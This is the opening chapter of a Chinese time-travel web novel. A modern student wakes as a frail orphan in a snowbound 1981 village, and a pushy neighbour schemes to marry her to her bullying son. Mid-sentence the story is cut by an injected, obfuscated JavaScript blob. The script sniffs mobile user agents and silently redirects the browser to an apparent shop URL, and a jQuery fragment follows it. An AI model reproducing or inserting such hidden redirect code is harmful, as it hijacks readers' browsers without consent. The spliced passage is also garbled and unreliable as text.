1981年,冬。
时节正值大雪,地处黄河中上游的西北地区已经被层层积雪覆盖,山野和田地洁白一片,村中几乎不见人影。
位于半山腰的一间窑洞里,苏晚晴自炕上慢慢爬起,但过度虚弱的身体无法支撑起她全部的体重,视野一阵天旋地转,她又一头栽回了被褥里。
这间窑洞选址很好,温度冬暖夏凉,除了因为内部太深而导致常年昏暗之外,并没有其他太大的缺点。
但西北地区的严冬不能仅靠窑洞自身的保暖挨过,没有烧热的土炕相当湿冷,苏晚晴在上面被迫躺了一天,手脚已经冷如生铁。
继续这样不吃不喝地躺下去,她真怕这条好不容易捡来的小命又丢了。
撑着炕头慢慢坐起,几缕打结的发丝滑落眼前,苏晚晴试图抬手顺顺头发,却被臃肿的碎花棉衣牵制了行动。
棉衣的袖口已经脏污破损,看得出穿着者已经很久没有换过衣服。
头皮传来一阵痒意,苏晚晴没敢伸手挠它,比起头发打结,她更怕抓出虱子。
好歹也是住过21世纪大学集体宿舍的人,苏晚晴本人还是很有清洁意识的。不过眼下她确实无计可施,虚弱的身体加上不作美的天气,就连换身干净衣服都是难上加难。
一天前,临近毕业,并开始创立独立服装品牌工作室的苏晚晴熬夜猝死了,穿进了那本无聊时看过的年代文里,成了书中一位同名同姓的早逝炮灰。
原书中的苏晚晴本是海城富商之女,但荣华富贵还没享几年,时局大变家道中落,举家被下放到了这个西北的贫苦地区改造。
一朝身份剧变,苏晚晴的父亲很快便积郁成疾离开人世,母亲咬牙将这个自幼便有先天性心脏病的女儿拉扯到18岁,也很快就撒手人寰。
自此,原主成为了无父无母的孤女,靠着父母留下的遗产和村里老支书的照拂,苏晚晴才继续苟延残喘活了下来。
之后,不知该说幸运还是不幸,原主遇到了下乡知青男主,二人很快便心意相通、私定终身。
但是78年高考恢复,只有男主一人顺利考上了大学,不愿让本就病弱的原主跟着他颠沛流离,男主许下了稳定后就来接她的承诺,只身一人返城念书。
谁都没想到,这一别,就是天人永隔。在男主临近毕业的前夕,原主没能熬过那个冬天。
穿越成原主的苏晚晴欲哭无泪,前世她好歹还是一个能跑能跳的正常人,现在一下变成了物理意义上的起床困难户。
苏晚晴算是切身体会到了原主最后到底有多么虚弱,大雪带来的降温简直是给原主下了一道催命符,也难怪她连一封信都没来及寄出,就已经病得起不来身。
只是如今让她以苏晚晴的身份活了下来,她也实在不想跟男主有太多瓜葛,一想到之后男主又是找替身又是火葬场的感情纠葛,她就已经感觉头大如斗、麻烦缠身。
但继续呆在这里也绝非上策,这具身体很显然需要更宜人的温度修养,就算她能撑过这个冬天,那之后的更多个冬天又怎么办?
况且现在她的身体状况已经不能在村子里分担工作,之后包产到户政策普及,她是真有饿死的风险。
思索了一番后,苏晚晴决定,等到天气转暖,她恐怕得去四季温差不大的南方城市谋生。
至于到了南方......
想起前世已经小有名气的服装品牌工作室,苏晚晴坚信饿不死自己。
梦想还未完成就来到这个世界,如果有机会,她更不想放弃自己的梦想。
在这个一切都即将跌跌撞撞摸索启程的年代,如果有幸能成为那个跟随时代浪潮的先锋,苏晚晴也愿意成为那个幸运儿。
“叩叩叩!”
敲门声骤然打断苏晚晴的白日梦,连忙粗略整理了一下仪容仪表,自觉能看得过去,她匆匆下床拔起插销。
就这下地的两步,苏晚晴都走得艰难,偏生敲门的人还是个急性子,扰人的敲击声一直没停,反而愈演愈烈。
“来了来了!”
本想高声应和对方,但脱口而出的嘶哑嗓音把苏晚晴自己都吓了一跳,她赶忙清清嗓子,拉开了木门。
寒意如刀割般涌进室内,带走了窑洞内为数不多的温暖,将苏晚晴本就苍白的脸色冻成惨白,打眼一看,整个人简直能被一阵风刮走。
门外站了个精神抖擞的中年女性,她里三层外三层裹满防寒措施,乍一见苏晚晴的模样,惊得整个人倒退了几步。
但几秒后,她反应迅速地将苏晚晴拉进室内,如同回到自家般一一解下帽子围巾,露出了完整的一张脸。
这张脸实在大众,初来乍到的苏晚晴还和原主的记忆对不上号,为了不一开局就露馅,她等待对方先行开口。
果然急性子的中年妇女立马自顾自讲了起来。
“哎呦小晴!你怎么病成这样?!”一边说,她一边伸手探了一下土炕的温度,“这炕这么冰!不生病才怪哩!”
“你说说也怪婶子记性不好,昨天一天没见你,本想修完粮仓就来看看,结果我这脑子!”对方懊恼地直拍脑门。
哦......
苏晚晴想起来了,这是住在附近的邻居,王秀芬。
嗓子又干又痒,苏晚晴不想说太多话,她咳嗽几声,摇摇头表示自己并不在意。
王秀芬也不客气,一屁股坐在炕边,数落完自己,她紧接着开始数落苏晚晴。
“你也真是!这天寒的,也不会照顾自己。”似是相当心疼苏晚晴的境遇,王秀芬拉起苏晚晴纤瘦苍白的右手,语重心长道,“也别嫌婶子烦,你这情况,真得要个人伴着。”
“那小卫都返城四五年了,你这姑娘家家的大好年华全都耗在他一个人身上,说句难听的,小卫还记不记得你都不一定呢。”
“听婶子的,找个村里信得过的嫁了吧,不是婶子自吹,你看俺家大牛......”
图穷匕见。
本来还纳闷这位无事不登三宝殿的王婶热心上门有何贵干,原来还惦记着给自己儿子说亲呢。
王秀芬还在继续她的卖瓜行为,苏晚晴听得头晕脑胀,正想送客出门,张开嘴的时候不小心吸进一口冷空气,呛得她抑制不住大声咳嗽起来。
这突然的意外,打断了王秀芬的喋喋不休。
“哎呦!哎呦!别急啊丫头!”
嘴上心疼地不得了,却也不见王秀芬站起来干点什么,苏晚晴咳得眼泪都要下来了,好不容易缓了一口气,发现王秀芬还结结实实坐在炕上。
连一寸地都没挪动。
继续跟这尊大佛相处下去,苏晚晴真怕自己本就所剩不多的寿命继续折损,她佯装虚脱地倚靠在炕边,有气无力道,“婶子,我还没吃饭呢......”
“这怎么行?!不吃饭病能好吗?”土炕像是突然起了火,一下将王秀芬从炕边烧了起来,她利索站起,话没说完就往外走。
“等着啊,婶子回家给你拿些烙馍垫垫肚子......”
尾音被门外的风雪彻底吞没了。
苏晚晴缓了缓,站起来锁上了门。当务之急,她需要烧热炉子喝点热水暖暖身体。
****
与此同时。
王秀芬顶着大雪走回了家。
雪后的寒风凛冽刺骨,王秀芬不愿让儿子张铁牛挨冻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492830|202320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只能自己亲自去修破了好久的粮仓。
过冬屯的粮食都在里面,要是放任它那样坏着,时间长了,村里总有人打起不好的主意。
家里还有一个成年男性嗷嗷待哺,王秀芬自己可以饿着,但让铁牛挨饿可是大事。
走回院里,新雪覆盖满院,地面没有任何痕迹——
清早她离开时留下的脚印,已经再一次被大雪掩埋。
回到家里,铁牛呈大字躺在炕上,听见门响动的声音,他连眼皮都没抬一下,大声嚷嚷着:“咋回来这么晚?!快去做饭!我饿了!”
“哎、哎!这就去!”
连忙应着,王秀芬脚步不停,又转身去了隔壁窑洞做饭。然而掀开锅盖,清早留下的馍馍白菜仍温在锅里,一口没动。
这可给王秀芬急坏了,以往儿子就着菜能吃四五个大馍馍,今天难道是身体不舒服?
二十几年前,王秀芬的丈夫在她还怀着铁牛时因为急病去世,那个健壮的男人在前一天夜里如往常般睡下,第二天一早却再也没有醒来。
一夜之间成为寡妇,王秀芬连着哭了一周,差点将眼睛哭瞎,可一想起自己腹中的遗腹子,她又强压下所有情绪,逼迫自己立起来。
为了不叫村里人看不起娘俩,王秀芬逐渐将自己武装成了泼辣的模样,一个月里有十天,她都忙着在村里跟人干架。
所幸,她生了个村里数一数二的大胖小子。
小小年纪的铁牛因为学走和学语都比同龄孩子更晚,村里的孩子们一度抱团排挤和嘲笑他,可或许铁牛也被母亲的行事风格感染,在又一次被嘲笑后,他举起了拳头。
这份暴力并没有随着教化减少,铁牛的体型愈发高壮,随之一同生长的,还有他易怒且好斗的性格。
青春期到来,越来越多的村民因为铁牛的事情找上门来,不是今天打了他们家小孩,就是昨天偷了他们家东西,王秀芬一路看在眼里,心中反倒升起一股踏实感。
她的家里再次有了男人。
为了让这个成为她精神支柱的男人平安成年,王秀芬几乎包揽了所有的脏活累活;而到了铁牛终于成年的时候,王秀芬又去公社找队长连哭带闹了一顿,给铁柱谋了个放羊的轻松活计。
就这样,铁牛的放羊也是三天打鱼两天晒网,但队长看在王秀芬独自一人拉扯儿子不容易,通常睁只眼闭只眼就过去了。
而通常顶替他工作的那个人,就是弱不禁风孤身一人的苏晚晴。
母子二人并不觉得这是一种隐形霸凌,眼下,比起什么苏晚晴,王秀芬更在意今天中午铁牛少吃的一顿饭。
“大牛,你今天中午怎么没有吃饭?哪里不舒服要及时告诉妈妈......”坐在床边,王秀芬伸手去探铁牛的额头,却被粗暴地挥开了手。
“每天不是白菜就是洋芋,你在养羊吗王秀芬?!我要吃肉!!”铁牛在床上剧烈蠕动他庞大的身躯,“我要吃肉!!”
“那妈给你揽点臊子下个面?”
“快点吧我都饿了!”
这就是同意了的意思。
锅里冒着热气,王秀芬正准备将面下进热水,屋外猛然传来一道声音:“王婶!羊今天还没放出去吃草呢!”
“哎——我这就让铁牛去——”明面上,王秀芬还是维持着平静表象。
等屋外的脚步声远去,王秀芬叮嘱铁牛待在家里,她出去找一趟苏晚晴再回来继续做饭。
但铁牛一反常态从床上坐了起来,“找苏晚晴是吧?我去,你在家做饭就成。”
本就有意撮合二人的王秀芬见儿子难得起了兴趣,也就不再阻拦,放任铁牛踏上了去往苏晚晴家的路。